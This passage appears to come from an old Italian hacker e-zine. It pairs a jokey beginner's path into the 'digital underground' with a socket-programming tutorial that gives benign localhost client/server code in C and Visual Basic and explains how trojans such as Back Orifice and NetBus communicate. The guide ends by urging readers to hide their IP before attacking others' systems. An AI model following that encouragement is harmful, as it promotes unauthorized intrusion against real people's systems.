il trovatore.it e arianna.it Non pensate esaurito un argomento fino a quando non avrete fatto la ricerca con tutti i motori che conoscete, quando l'avrete fatto, avrete visto solo una piccola parte. Solitamente I siti hanno una sezione link, che vale la pena di visitare, a volte rimandano a siti non recensiti ma comunque interessanti. Ricordate di firmare il GuestBook (se c'è), sembra poco, ma al webmaster solitamente fa molto piacere. Con che chiavi di ricerca cercare? Iniziate con le più scontate, poi ne troverete altre che vi porteranno esattamente dove voi volete. Inizialmente finirete tra un mare di porcate. Provate a digitare, correlare, rimescolare le seguenti parole, e godetevi i risultati: hacker, hack, hacking (scontato vero?), lamer, exploit, h/p/c/v (in tutte le combinazioni), e poi chi più ne ha più ne metta. Probabilmente finirete in un bel mucchio di porcate: nuker, flooder, port e ip scanner, troiani (e troiai) vari. Tutte cose per ora inutili (in quanto non sapete che farvene) che potete fare a meno di downloadare. Interessatevi invece su *chi* ha realizzato i suddetti programmini, probabilmente avrà un sito, e potrebbe essere interessante. Insomma: -cerca con ogni motore -linkati ovunque utile -leggi tutto, fai incetta di ogni testo -poi (sembra lo spot Siemens durante i GP) ricomincia daccapo Se siete fortunati trovate (cose che *dovete* cercare) la FAQ dei NG it.comp.sicurezza.* (varie, windows, linux ecc.), qualche bel testo che ti dice come rattoppare il tuo sistema (che ti sei reso conto assomiglia più ad un groviera che alla suddetta toma). E qui inizia tutto. Sappiate che non è indispensabile essere paranoici in fatto di sicurezza del proprio sistema; quella è roba da hacker, non fa per voi, almeno per ora ;). Basta che copriate le principali falle, tanto la sicurezza assoluta in rete non esiste. Windows, di suo è instabile ma abbastanza sicuro, a patto che non abbiate troiani installati, o la porta 139 aperta. Eventualmente trovate programmi specifici per risolvere questi problemi. Con un minimo di difesa nessun lamer potrà mai violare il vostro sistema, un hacker ci riuscirebbe, molto probabilmente (con tempo e astuzia), ma solitamente gli hacker se ne fregano del vostro computerino, cosa sarà mai, rispetto ai sistemi del CERN??? ;) Quindi calmi. Basta un buon antivirus ben aggiornato, un firewall è superfluo, anche perché (probabilmente) non lo sapete configurare, quindi è controproducente. Tempi duri? Arriverà il giorno di fare festa. Ora iniziano gli studi. Una buona conoscenza di internet è basilare, potete scaricare liberamente dal Web, una copia di Internet 2000 (a mio parere una valida guida per iniziare) e la guida alla rete dell'Eletronic Frontier Foundation (non chiedete in giro dove cercare tutta 'sta roba, vi ho spiegato prima come usare i motori di ricerca). Questi testi potranno darvi una pallida idea di cosa sia Internet, e capirete che non è solo WWW. Gli studi non finiscono qui, bisogna iniziare a leggere le riviste del settore, la migliore è NetRunner (o forse sono un po' di parte?), ma ne esistono altre in italiano: NewBies, SystemDown, Butchered from Inside (BFI), WannaBee, l'enciclopedia di Lord Shinva ecc.ecc.ecc. (anche se datata, non potete fare a meno di leggerla) e, vi assicuro, ne troverete molte altre. Le e-zine in lingua inglese sono ancor più numerose, ma elencarle non è scopo di questo articolo. In rete troverete anche molte guide, che ti spiegheranno come crackare, hackerare, phreakare, programmare; in due parole, non capirai un ca**o. E' normale, niente panico. Leggi tutto ciò che pensi sia utile (man mano che leggerete testi vi accorgerete che alcuni sono stati scritti da essere inutili, non ci credete? Rileggetevi questo articolo tra qualche mese!!!) poi rileggiti ciò che avevi già letto. Probabilmente, ciò che prima non avevi capito ora ti è un po' più chiaro, pian piano, non ci saranno più segreti per te. IMHO nessuna guida potrà mai spiegarvi l'arte dell'hacking (e che gli hacker mi concedano questo uso impropio del termine a scopo puramente diseducativo), ma sono comunque un ottima lettura, soprattutto se l'accompagnate con birra gelata e arachidi tostate e salate. Dove scaricarle? Alcune sono ospitate su www.spippolatori.com (e non mi dite che faccio publicità occulta), altre le trovate su www.bismark.it, solo per dire un nome, ma i siti che ne ospitano sono veramente molti, con una buona ricerca, non farete certo fatica a trovarle. (vi avevo avvisato sarebbero serviti i motori di ricerca, no?). Per la serie pappa pronta, sto lavorando ad un sito che le riunisca tutte in pochi clic, sfortunatamente per ora non è ancora aperto (ma vi farò sapere, non temete). Quindi tanta pazienza e buona lettura. Molti manuali, e molte e-zine hanno ormai la polvere sulle propie pagine, non preoccupatevi, nulla è inutile. Quando avrete letto tutto, ma proprio tutto, probabilmente sarai nuovamente nello stato confusionale più assoluto. Inutile dire chè è normale, probabilmente nell'ultimo periodo avete dormito 5 ore in tutto, e svolto le vostre funzioni vitali davanti a monitor e tastiera, in overdose di caffeina e/o nicotina. Tra qualche tempo, lo stare davanti al computer sarà una nuova funzione vitale, e non un oggetto innanzi al quale svolgerle. Per smaltire la confusione, potete iniziare a utilizzare qualche altra risorsa per reperire informazioni. Innanzi a tutto le news, sono un buon luogo dove chiedere informazioni. Mi raccomando di postare come la netiquette prevede (cosa prevede? Non preoccupatevi c'è una FAQ per ogni cosa, anche per la netiquette!). Le news da prendere in considerazione per iniziare (in italiano, intendo) sono it.comp.siurezza.*, dove dovete chiedere della sicurezza, non dell'inisicurezza ;) in quanto non è una news per hacker, ma per utenti, "semplici", se così è lecito dire. alt.hacker.cough.cough.cough, potrebbe essere la news giusta dove rivolgere qualche domanda sull'insicurezza, l'utenza media è molto taciturna, ma potreste avere comunque delle risposte. Qualche raccomandazione: aspettate a postare, leggete e guardate da che parte tira il vento; non fate domande che hanno già avuto risposta nel NG o nella FAQ (che avete letto, non è vero?); siate umili, non fate vedere che siete ignoranti, ma solo che avete *molta* voglia di imparare; gli hacker (o presunti tali, IMHO gli hacker son veramente pochi) hanno un innato bisogno di sentisi dire quanto sono bravi e belli, quindi diteglielo, ma senza farvi notare. Con qualche parola messa bene otterrete le informazioni che cercate. Per il resto mi affido al vostro buonsenso. Altra risorsa è la biblioteca. Ci sono diversi libri da leggere, "ah, si, Spaghetti Hacker!" direte voi, beh, non ci siamo proprio. Malgrado potrei dirvi di leggere Spaghetti Hacker, Giro di vite contro gli hacker, Hackers!, ecc.ecc.ecc (titoli legati all'underground digitale, ce ne sono) non lo faccio, e vi consiglio più caldamente dei bei manuali riguardanti Internet, Linux, Unix, il protocollo TCP/IP, etcetera per approfondire (e capire) ciò che avevate appreso sui testi sopracitati. Attenzione, ho detto biblioteca, e non libreria, in quanto questi manuali sono spesso molto costosi (ve lo assicura l'autore dell'articolo), un saggio uso della fotocopiatrice, vi risparmierà molti soldi (occhio e croce non mi sembrate quelli che si fanno problmi a violare il copyright fotocopiando un libro :D). Se non trovate i manuali nella biblioteca comunale (cosa probabile) non mancheranno certo in quelle universitarie di facoltà tecniche. Digitando digitando, ci siamo lasciati addietro due argomenti importanti: il sistema operativo e la programmazione. Sicuramente nel vostro cammino molti vi avranno detto <<installati linux!!!>>, sappiate che la maggior parte di coloro che ve l'hanno detto non sanno neanche il perché. Linux è un sistema operativo con cui dovrete prendere *mooooolta* confidenza, ma con le dovute cautele. Se siete fortunati avete un secondo computer (un 486 per linux è già un lusso) su cui installarlo, bene, fatelo e studiatelo; non mancano certo NG, FAQ, chan di IRC, e libri vari che possano certo darvi una mano. Basta cercare. In alternativa potete chiedere una shell al vostro provider (se è piccolo non fa mai storie) ma state attenti, dalla faccia che vi ritovate traspaiono le vostre losche intenzioni. Se avete un amico che usa linux, la shell ve la può dare lui, ma allora siete nati con la camicia, avete una shell gratis, che non dovete gestire e in più un amico che vi potrà certamente aiutare con linux. Se proprio non potete fare altro installatelo su una partizione del vostro HDD. Linux a prima vista (e anche a seconda) è complicato da usare, ma vi assicuro che non mancheranno soddisfazioni. Cercate (se potete) di non avere contatti con altri utenti (almeno all'inizio) quando usate linux in connessione, evitate le chat insomma, in quanto, se non lo si conosce bene, può essere molto più vulnerabile di Windows Da bravi studiosi che siete non avrete certo lasciato in secondo piano gli altri sistemi operativi vero? Non sottovalutate il DOS (no, non il Denial of Service), una sua buona conoscenza può tornare molto utile, e un prompt vi riduce l'impatto con linux; per completezza non dimenticate di dare uno sguardo a casa Mac e chiaritevi i dubbi sulle differenze tra Windows 9x e Windows NT, e ai restanti sistemi operativi, che avrete certo modo di conoscere. Dimenticavo, non andate in giro a chiedere dove trovare linux, lo trovate praticamente tutte le settimane in edicola su una qualche rivista, una qualsiasi versione, per iniziare, andrà benissimo. Il secondo, non certo per importanza, argomento è la programmazione può essere tanto semplice quanto complicata, dipende da voi, ma le risorse non mancano, NG, FAQ, e manuali (sempre dalla biblioteca, son dei mattoni da non meno di 200k l'uno) ce ne sono in quantità, per ogni linguaggio. Il linguaggio che vi conviene imparare per primo è il C (le risate che sentite sono dovute al fatto che è molto conosciuta la mia infima competenza in tale linguaggio), successivamente datevi (questo passaggio sarà molto più facile che il partire da zero) al Visual Basic, al C++, al Delphi e vedete di imparare a scrivere script Bash, che torna sempre molto utile. Non sdegnate, perché antichi, il TurboPascal, il Basic, e reperti preistorici simili, tornano a volte utili, come il saper stendere qualche comando in un file batch Ma da dove partire con lo studio? E' una domanda a cui non so rispondere, non mi ricordo da dove ho iniziato, vi posso consigliare di cercare in rete, scaricavi, studiarvi, modificare e provare a riscrivere i codici sorgente dei vari programmini, inizierete vedendo come un programma fa 2+2 e finirete per dar filo da torcere alla Microsoft (che, a mio parere, ci vuol poco). Integrate le vostre conoscenze con i manuali, la guida in linea, magari qualche amico, o una domanda sulla news riquardante il linguaggio della gerarchia it.comp.lang.* o un giretto su siti dedicati a tale argomento (es. prograzione.it) Vi assicuro che impararne altri dopo averne già imparato uno sarà molto più facile. Nella programmazione il primo passo è il più difficile, l'ultimo non lo so, non ci sono mai giunto. Per sapere certe cose dovrete trovare un coder serio. Per chiarire ogni dubbio è giunto il momento di prendere contatto con altre persone, con cui potrete anche scambiare opinioni, da cui potrete imparare nuove cose. Provate qualche buona chat, su IRC c'è molta gente che saprà darvi le informazioni che volete, ma fate attenzione, il numero di persone che malgrado non sappiano nulla e parlano è più elevato di quanto potete immaginare, dovete trovare la gente giusta. Non prendete per oro colato tutto quello che la chat vi propone, lasciate perdere ogni chan dove vedete scorrere le classiche frasi: "sono un hacker", "adesso ti nukko", gente che parla con le KKKappa kome se fosse utile. A voi i nuke non danno fastidio, siete riparati da ogni cosa (per quanto possibile, vero? Altrimenti ritornate ai paragrafi precedenti) siete liberi da troiani e da ogni turbamento, quindi non avreste problemi, ma ripeto, non è la gente giusta. Quando trovate un chan (esplorate *tutti* i server irc) dove scorrono linee di comando incomprensibili, che sembrano essere script o codici, siete nel chan giusto. Aspettate a farvi notare, salutate educatamente, e se rivolgete domande, assicuratevi che siano pertinenti, che la risposta non si trovi nelle 2000 guide che oramai sono in vostro possesso, inoltre prima di chiedere domandatevi se sareste in grado di comprendere la risposta, altrimente lasciate stare, e andate per gradi. Non andate su tutte le furie se nessuno vi risponde, nessuno è tenuto a farlo, nulla ti è dovuto. Naturalmente un po' di buone maniere facilitano le cose, ed il social engineering è nella vita di tutti i giorni, fatevi sotto (e ricordate che gli hacker sono bravi e belli). E' venuto il momento di mettere a frutto gli insegnamenti. Potete iniziare a provare vari programmini ad uso e consumo dei lamer (non c'è nulla di male, se sapete come funzionano, perché e quando usarli, se non vi sentite hacker nel farlo). Ma su chi provarli? Su voi stessi, naturalmente! Il vostro IP, se non siete connessi, è (solitamente) 127.0.0.1, rivolgete sul vostro sistema ogni tipo di attacco, oltre a testarne l'integrità è un modo legale, poco rischioso, e molto utile, di provare. Potete anche su un vosto amico, conscio delle conseguenze e di eventuali rischi e che magari sappia risistemarsi da solo il sistema. Provate gli exploit sul vostro linux, se funzionano, dovete migliorare un po' le difese, ma intanto sapete esattamente come funziona. Detto questo è facile capire come continuare, e penso che abbiate raggiunto una certa autonomia. Prima di darvi alla pazza gioia dovete liberarvi del vostro peggior nemico, l'IP. Questo numerino vi stà sempre addosso, e parla molto di voi a chi punisce le malefatte, e questo è male. I manuali su come raggiungere dei buoni livelli di anonimato non mancano, diventate invisibili... A questo punto penso di non aver più niente da dirvi. Datevi alla pazza gioia(beh, lasciate stare il maiframe del pentagono, un sito porno del guatemala è sicuramente meno rischioso), ma è giunto il momento di essere un po' più paranoici. Fate attenzione, mi raccomando. Siete hacker? No, e non lo sarete neanche quando vi ci chiameranno, solo ora siete consci del fatto che essere hacker non vi interessa poi così tanto, ciò che conta è il fatto che non avete più frontiere... Questo articolo è solo un piccolo inizio. Ricordatevi sempre che la risposta ad ogni vostra domanda è nella vostra mente (che intende dire l'autore con questo??? Boh, forse non lo sa neanche lui, forse...) Se avete problemi, domande, se volete qualcosa che tratti argomenti un po' meno basilari (passi in avanti nell'underground digitale?) o ancora più basilari (ma lo sapete accendere il computer?) fatemelo sapere - anche all'editore, così mi da spazio ;) - ogni lavoro richiede una motivazione, quindi datemela (questo imperativo si riferisce al complemento oggetto "la motivazione" per coloro che intendono muovere i primi passi nell'sottosuolo della rete, è invece riferito al compl.ogg. "la potta" per tutte coloro che sono sesso femminile, hanno una bella presenza ed un minimo di intelligenza). I riferimenti a me, non son frutto del mio limitato egocentrismo, vogliono esservi di conforto, in quanto: se un essere ad encefalogramma piatto come l'autore, è riuscito a scrivere questo articolo, allora io posso diventare il re della rete... fatevi forza! La mia mail è lordmibo@inwind.it, detto questo non mi resta che augurarvi buona fortuna. Lord Mibo XIII P.S. Chiedo perdono a chiunque faccia parte dell'underground digitale per l'uso incorretto che ho fatto di certi termini, è solo a scopo divulgativo... Nota per l'autore: Sono le 3 di notte, scusa gli eventuali errori. ========================================================================================== __________________________________________________ |SOCKET : Ovvero paragone tra i vari linguaggi & C.| | by | | Michael Bakunin | | <bakunin@meganmail.com> | -------------------------------------------------- Un po' di teoria.... condita di qualche esempio! Gia' perche' l'Hacking non e' solo pratica, ma anche (e forse soprattutto) teoria. L'articolo in cui oggi cerchero' di cimentarmi riguarda la spiegazione dei socket, il confronto dell'uso di essi nei vari linguaggi, esempi e idee varie. Ovviamente nei vari linguaggi intendo solo quelli che ritengo prevalentemente atti allo scopo e questi sono il C, il Visual Basic e il TCL. Perche' prendo questi in esempio? Diciamo che la ragione principale e' che questi linguaggi hanno caratteristiche molto diverse fra loro, ma molto in comune con altri. Quindi ritengo inutile mostrarvi anche la programmazione dei socket in PERL o il altri linguaggi per SCRIPT, ma solo il TCL. Oppure ritengo inutile spiegarmi anche il programmazione dei socket in C++ perche' il C gia' ne mostra un esempio chiarificatore. Con cio' non intendo dire che non ci siano differenze tra un linguaggio e l'altro (tra C e C++ come tra PERL e TCL), ma ritendo esserci più somiglianze che differenze. Ma direi subito di iniziare spiegando cosa sono i SOCKET! --> Un socket e' un modo per far comunicare due programmi da remoto <-- Questo vuol dire che un socket e' un meccanismo (che puo' variare a seconda del linguaggio) che permette di mettere in comumicazione 2 programmi distinti attraverso un determinato protocollo (TCP/IP o UDP). Questi due programmi per incontrasi hanno bisogno di un indirizzo comune. Questo e' l'IP del SERVER. Rincominciamo questo punto cercando di essere più chiari! Quando si decide di metterci in contatto con una persona, bisogna: 1 Sapere come comunicare con lei. Supponiamo di voler comunicare con il telefono (...o con un determinato PROTOCOLLO Es: TCP/IP) 2 Sapere il suo numero di telefono (...o il suo IP) 3 Chiamarlo (...metterci in contatto con il SERVER) ************ SERVER: Nel nostro caso un telefono nella casa ************ ************ di chi vogliamo chiamare, capace di attendere ************ ************ chiamate.... (oppure uno dei due programmi che ************ ************ aspetta una connessione) ************ 4 Comunicare 5 Terminare la comunicazione Per quanto riguarda la programmazione dei socket quindi si necessita di 2 programmi: 1 SERVER: che aspetti connessioni su una determinata porta e che, se interpellato da un CLIENT, capace di interagire con lui. 2 CLIENT: il programma che si mettera' in contatto con il SERVER e che invii dati e che riceva la loro elaborazione del server Per spiegare semplicemente un esempio di CLIENT e SERVER che comunemente avete sott'occhi, basta pensare al vostro Browser per internet. Questo non fa altro che collegarsi alla porta 80 dell'indirizzo DNS che voi mettete. ************ DNS: Non e' altro con un altro modo per scrivere ************ ************ l'indirizzo IP. Al posto di scrivere 212.234.3.54 ************ ************ scrivete un indirizzo alfanumerico tipo: ************ ************ www.spippolatori.it ************ ************ Sta di fatto che www.spippolatori e 212.234.3.54 ************ ************ e' assolutamente uguale! EX CLARO? ************ ************ PS: 212.234.3.54 non e' l'IP del sito degli SPP :)************ e mandare come dati: GET / a questo punto avrete il sorgente della pagina HTML del sito che vi interessa. Sara' poi compito del Browser visualizzarla secondo le direttive dei comandi HTML. Quindi... 1 il SERVER (in questo caso non un vero e proprio programma ma un qualcosa di più complesso) attende connessioni all'IP del vostro sito sulla porta 80. 2 il CLIENT (il vostro BROWSER) si collega alla porta 80 e invia come dati la frase "GET /" 3 l'elaborazione del dato da parte del SERVER sara' la pagina HTML. Se non ci credete aprite una sessione di TELNET con l'IP (numerico o alfanumerico) di un sito e scrivete "GET /". Vedrete!! Un altro esempio di CLIENT e' il vostro programma per IRC (Mirc per Windoz o xchat per Linux sono i più famosi) e scoprirete che non fa altro che connettersi alla porta 6667 del server (ad esempio irc.azzurra.it) e inviare e ricevere dati. Questo e' identico con telnet alla porta 6667 del solito server irc.azzurra.it Una volta collegato in CLIENT irc (o voi con telnet) vi registra con i comandi: NICK vostro_nick USER uzver b c:vostro_reale_nome (PS: Questa e' una delle tante pratiche di inizializzazione di un utente) Dopo di che con opportuni comandi si puo' comunicare. Ma questo non riguarda il tema di oggi! Un'ennesimo esempio di comunicazione attraverso l'uso di socket e affini sono i trojan come BO o NETBUS. Come funzionanto? Nulla di più semplice! 1 La vittima (consenziente o no :) ) installa un programma SERVER sulla sua macchina il quale ascolta una determinata porta (Back Orifice 31337, NetBus 12345) in attesa di comunicazioni da parte di un CLIENT. 2 Il CLIENT (ovvero il programma in mano al "CATTIVO") si connette all'IP della vittima e alla porta in cui sa che il SERVER ascolta. 3 Invia opportuni comandi e aspetta che il server gli invii l'elaborato 4 Il Server ricevuti i dati compie sulla macchina della vittima quello che i comandi gli dicono di fare e poi manda il risultato delle operazioni al CLIENT 5 Il CLIENT stacca la comunicazione 6 Il SERVER si rimette in ascolto aspettando la prossima comunicazione da parte del CLIENT. EX CLARO? Direi che se non avete capito ancora il funzionamento di comunicazione SERVER - CLIENT allora e' grave :) Ora parliamo della vera e propria programmazione! SCELTA DEL LINGUAGGIO Prima di buttarci a capifitto su un editor di testi per scrivere righe e righe di comandi, e' opportuno scegliere che tipo di linguaggio. Per fare questo bisogna vagliare una serie di punti centrali. 1 Che caratteristiche ha la macchina in cui vogliamo installare il SERVER o il CLIENT E' infatti totalmente inutile programmare un SERVER in Visual Basic quando poi devo usare quel SERVER su una macchina *nix o Linux! Uguamente inutile programmare un SERVER in TCL quando poi lo vogliamo piazzare su una macchina con Windozzolo! Esiste si' un programma capace di rendere eseguibili gli SCRIPT in TCL su piattaforme diverse da LINUX e simili, ma occupa 2,8MB! Sai che trojan!! 2 Utilizzo del rapporto SERVER - CLIENT Questo vuol dire: COSA VOGLIAMO FARGLI FARE A QUESTO SERVER o A QUESTO CLIENT? Se vogliamo creare un Browser avremo certe esigenze, se vogliamo creare un CLIENT IRC altre, un TROJAN altre ancora! Dipende tutto da cio' che vogliamo fare! 3 Direi che non c'e' nessun terzo punto :) METTIAMO A CONFRONTO LA PROGRAMMAZIONE DEI SOCKET NEI VARI LINGUAGGI: IL C Il C e' un linguaggio multipiattaforma (+ o -) se si regolano le varie librerie. E' snello e occupa poco. Programmare i socket in C vuol dire niente meno che creare un descrittore di file. Solo che, al posto di essere un FILE e' un SOCKET :) Non e' facilissimo (ma nemmeno difficilissimo) creare un prog in C capace di comunicare ed e' sicuramente la scelta migliore se si necessita di stabilita' e sicurezza (e' compilato). Di suo non e' grafico... poi e' tutto una questione di librerie Il VISUAL BASIC Marcatamente per WINDOZ. E' semplice, compilato, stabile. Non necessita di conoscenze approfondite sulla programmazione (anzi...). Il SOCKET (che per lui diventa "winsock") e' un qualcosa di gia' configurato a cui basta dare 2 o 3 direttive per essere brillantemente funzionante. E' grafico. Il TCL E' uno SCRIPT, cio' comporta che se uno avesse voglia, e capisse di programmazione... saprebbe capire cosa fa. E' leggero (sempre se escludiamo il fatto che necessita per win di un programma aggiuntivo bello massiccio). Il socket e' più o meno visto come il C, quindi come una variabile ben definita. Non e' grafico, ma lo puo' diventare con estrema semplicita' grazie ad un supporto grafico chiamato TK. Di solito girano abbinati con nome TCL/TK. PREMESSA ALLA PARTE PRATICA: Nulla ci vieta di creare un server in C e un client in Visual Basic! Anzi! Spesso e' più congeniale se abbiamo esigenze particolari tipo 2 diversi sistemi operativi. Vedremo in seguito. PRATICA (ovvero qualche esempio per confrontare meglio!): RICORDO CHE QUEST'ARTICOLO NON È UN TUTORIAL SULLA PROGRAMMAZIONE QUINDI NON MI SOFFERMO SUI VARI COMANDI. Incominciamo con il server in C: Un server molto semplice in C capace di ascoltare una determinata porta e capace di ascoltare una determinata porta (nell'esempio la 12345). E' programmato con librerie per LINUX, non so se le stessa valgono anche per win... per win io uso librerie diverse che poi vi indico. ------INIZIO---------- #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <fcntl.h> #include <stdio.h> //Queste solo le librerie necessarie per un server per LINUX int creazione(int porta) { int sock,errore; struct sockaddr_in temp; // Creazione del SOCKET: sock=socket(AF_INET,SOCK_STREAM,0); //Specifico l'indirizzo: temp.sin_family=AF_INET; temp.sin_addr.s_addr=INADDR_ANY; temp.sin_port=htons(porta); //Imposto il SOCKET non bloccante: errore=fcntl(sock,F_SETFL,O_NONBLOCK); //Bind: errore=bind(sock, (struct sockaddr*) &temp,sizeof(temp)); //Faccio accettare solo 3 chiamate: errore=listen(sock,3); return sock; } void chiusura(int sock) { //La chiusura del socket... rapida ed indolore! close(sock); return; } int main() { char buffer[512]; int descrittore,nuovo; int exitCond=0; int Quanti; descrittore=creazione(12345); printf("Attendo connessioni..."); //Questo ciclo continua fino a quando non avviene la connessione: while (!exitCond) { if ((nuovo=accept(descrittore,0,0)) !=-1) { //Lettura dati ricevuti: if ((Quanti=read(nuovo,buffer,sizeof(buffer)))<0) { printf("Impossibile leggere il messaggio. \n"); chiusura(nuovo); } else { buffer[Quanti]=0; //Elaborazione dei dati: if (strcmp(buffer,"exit")==0) exitCond=1; else printf("%s\n",buffer); } //Chiusura temporanea: chiusura(nuovo); } } //Chiusura definitiva del socket chiusura(descrittore); printf("Terminato.\n"); return 0; } --------FINE---------- Una rapida spiegazione puo' essere questa: int socket(int dominio, int tipo, int protocollo) Questo crea il socket. Se da' errore pari a -1 azz non e' andato a buon fine la crezione del socket! DOMINIO: indica il tipo di protocollo da utilizzare. Puo' essere: AF_UNIX (protocolli interni UNIX) AF_ISO (protocolli ISO) AF_INET (protocolli per INTERNET) --> quelli che servono a noi! TIPO: indica il modo in cui avviene la comunicazione. Ce ne sono vari tipi. I più importanti sono: SOCK_STREAM connessione permanente e bidirezionale che si basa sul flusso continuo di byte. E' probabilmente il più sicuro SOCK_DGRAM scambio di dati attraverso pacchetti di byte di lunghezza massima fissata. Non e' affidabile al massimo. PROTOCOLLO: indica il tipo di protocollo effettivo da utilizzare. Puo' essere nullo il valore in modo tale che venga usato quello di default regolato dal DOMINIO. Le altre possibilita' possono essere varie. Chi ha linux puo' andare a leggere il file: /etc/protocols, oppure leggere il mio :) : ----------------------------------------------------------------------------- ip 0 IP # internet protocol, pseudo protocol number icmp 1 ICMP # internet control message protocol igmp 2 IGMP # Internet Group Management ggp 3 GGP # gateway-gateway protocol ipencap 4 IP-ENCAP # IP encapsulated in IP (officially ``IP'') st 5 ST # ST datagram mode tcp 6 TCP # transmission control protocol egp 8 EGP # exterior gateway protocol pup 12 PUP # PARC universal packet protocol udp 17 UDP # user datagram protocol hmp 20 HMP # host monitoring protocol xns-idp 22 XNS-IDP # Xerox NS IDP rdp 27 RDP # "reliable datagram" protocol iso-tp4 29 ISO-TP4 # ISO Transport Protocol class 4 xtp 36 XTP # Xpress Tranfer Protocol ddp 37 DDP # Datagram Delivery Protocol idpr-cmtp 39 IDPR-CMTP # IDPR Control Message Transport ipv6 41 IPv6 # IPv6 ipv6-route 43 IPv6-Route # Routing Header for IPv6 ipv6-frag 44 IPv6-Frag # Fragment Header for IPv6 ipv6-crypt 50 IPv6-Crypt # Encryption Header for IPv6 ipv6-auth 51 IPv6-Auth # Authentication Header for IPv6 ipv6-icmp 58 IPv6-ICMP # ICMP for IPv6 ipv6-nonxt 59 IPv6-NoNxt # No Next Header for IPv6 ipv6-opts 60 IPv6-Opts # Destination Options for IPv6 rspf 73 RSPF #Radio Shortest Path First. vmtp 81 VMTP # Versatile Message Transport ospf 89 OSPFIGP # Open Shortest Path First IGP ipip 94 IPIP # Yet Another IP encapsulation encap 98 ENCAP # Yet Another IP encapsulation ----------------------------------------------------------------------------- Necessario sapere e' che il socket deve essere non bloccato! Comunque questo riguarda la programmazione... cosa che io non voglio toccare qui! Il SERVER creato sopra attende un messaggio per stamparlo sul monitor. Ora mi mostro un client in C capace di comunicare con il socket di prima. ------INIZIO----------- #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> void chiusura(int sock) { //semplice come bere un bicchiere d'acqua! close(sock); return; } int creazione(char* destinazione, int porta) { struct sockaddr_in temp; struct hostent *h; int sock; int errore; temp.sin_family=AF_INET; temp.sin_port=htons(porta); //gethostbyname indica l'IP con DNS h=gethostbyname(destinazione); if (h==0) { printf("IP alfanumerico fallito\n"); exit(1); } bcopy(h->h_addr,&temp.sin_addr,h->h_length); //Creazione del socket: sock=socket(AF_INET,SOCK_STREAM,0); //Connessione del socket: errore=connect(sock, (struct sockaddr*) &temp, sizeof(temp)); return sock; } void comunicazione(int sock, char* messaggio) { printf("Il messaggio inviato e' %s\n",messaggio); //Si usa write come se fosse un file! if (write(sock,messaggio, strlen(messaggio))<0) { printf("Impossibile comunicare col SERVER\n"); chiusura(sock); exit(1); } printf("Messaggio spedito\n"); return; } int main(int argc, char* argv[]) { int descrittore; //Creo e connetto: descrittore=creazione("127.0.0.1",12345); if((argc==2)&&(strcmp(argv[1],"exit")==0)) comunicazione(descrittore,"exit"); else comunicazione(descrittore,"Un semplice messaggio"); chiusura(descrittore); return 0; } ---------FINE---------- Come potete vedere il C anche qui non si smentisce! Tratta tutto come un file! Io invio messaggi come se scrivessi sopra il file "SOCKET" e lo leggo con read()! Esiste anche un altro modo che si basa su SEND e RECV. int send(int descrittore_socket, const void* buffer, in lunghezza, unsignet int opzioni) ove BUFFER contiene il messaggio. Deve avere una dimensione superiore alla lunghezza del messaggio. LUNGHEZZA e' appunto la lunghezza del messaggio OPZIONI mediamente si lascia 0. Per RECV, praticamente uguale: int recv(int descrittore_socket, const void* buffer, in dimensione_buffer, unsignet int opzioni) Per quanto rigurada win bisogna inserire questa libreria: #include <winsock.h> Per le piccole modifiche di stesura del codice... STUDIATE! Data che io sono un bravo ragazzo vi posso dire che: SERVER sorgente --> 1521 byte compilato --> 12826 byte CLIENT sorgente --> 1361 byte compilato --> 13063 byte questo per quanto riguarda il mio linux... win, "i don't know!" :) ma penso non ci sia molta differenza. Finito con il C, passiamo al VISUAL BASIC! Per creare un server in VISUAL BASIC bisogna ricordarsi che comunque sara' solo per Windozzolo. La procedura e' abbastanza semplice: 1 Si crea un progetto Standard EXE 2 Si aggiunge il componente mswinsck.ocx che corrisponde a microsoft winsock controls 5.0 3 Si inserisca il winsocke nel form e lo si nomini tcpServer 4 Si inerisca un textBox e gli si dia nome arrivo 5 Si inserisca questo codice: ----INIZIO--------- Private Sub Form_Load() 'imposto la porta tcpServer.LocalPort = 12345 'imposto e lo metto in ascolto: tcpServer.Listen End Sub Private Sub tcpServer_ConnectionRequest _ (ByVal requestID As Long) If tcpServer.State <> sckClosed Then _ tcpServer.Close tcpServer.Accept requestID End Sub Private Sub tcpServer_DataArrival _ (ByVal bytesTotal As Long) 'imposto che i dati arrivati vengano mostrati nella textbox arrivo Dim strData As String tcpServer.GetData strData arrivo.Text = strData End Sub ----FINE-------- Semplicissimo ma efficace! Possiamo vedere come qui il SOCKET non e' toccato... e' un'oggetto a se stante che va solo indirizzato alla porta (tcpServer.LocalPort = 12345) e ad ascoltare (tcpServer.Listen). Ma si puo' dire certo se questo e' un vantaggio o uno svantaggio? Sicuramente no! Poiche' tutto ruota in base alle finalita'! Questo va bene per semplici comunicazioni o un semplice trojan, ma forse per cose relealemtne più tecniche il C da più liberta' a scapito forse della leggerezza di codice e di semplicita'. In VB creare un banale SERVER vuol dire 10 righe (max), in C abbiamo visto prima. Più di 30! Il visual Basic lo porto il linux e non ho possibilita' di utilizzo. Il C basta cambiare 2 righe e tutto diventa uguale sia in win che in linux. Ora vediamo un client capace di mandare un messaggio, sempre in visual BASIC: Per creare un client si faccia: 1 Si apra sempre uno Standard EXE. 2 Si inserisca sempre un mswinsck.ocx come prima e gli si dia il nome tclClient 3 Si aggiunga un textBox e gli si dia il nome messaggio 4 Si metta un CommandButton e gli si dia il nome connetti 5 Si aggiunga il seguente codice: -----INIZIO------- Private Sub Form_Load() tcpClient.RemoteHost = "127.0.0.1" tcpClient.RemotePort = 12345 End Sub Private Sub connetti_Click() tcpClient.Connect End Sub Private Sub txtSendData_Change() tcpClient.SendData messaggio.Text End Sub -------FINE----- Il client e' ancor più inpressionante come semplitica'. Due comandi indicano porta e Host (tcpClient.RemoteHost = "127.0.0.1" e tcpClient.RemotePort = 12345) e il resto sono 2 righe: il pulsante che avvia la comunicazione (tcpClient.Connect) e l'invio dei dati (tcpClient.SendData messaggio.Text). Tutto questo con valori pressoche' identici al C: SERVER: sorgente --> form1.FRM: 1.525 byte / progetto.VBP 651 eseguibile --> 10.240 byte CLIENT: sorgente --> form1.FRM: 1.460 / progetto.VBP 651 eseguibile --> 10.240 byte Non manca che un esempio di socket basato su script. Ho preso come vi ho gia' detto il TCL, ma di per se' e' uguale prendere il PERL o altri. Cosa c'e' gia' da dire in anticipo: 1 Non e' compilato! Quindi basta che qualcuno faccia un bel "vi nome_file.tcl" che vede il codice sorgente. Voi direte che non 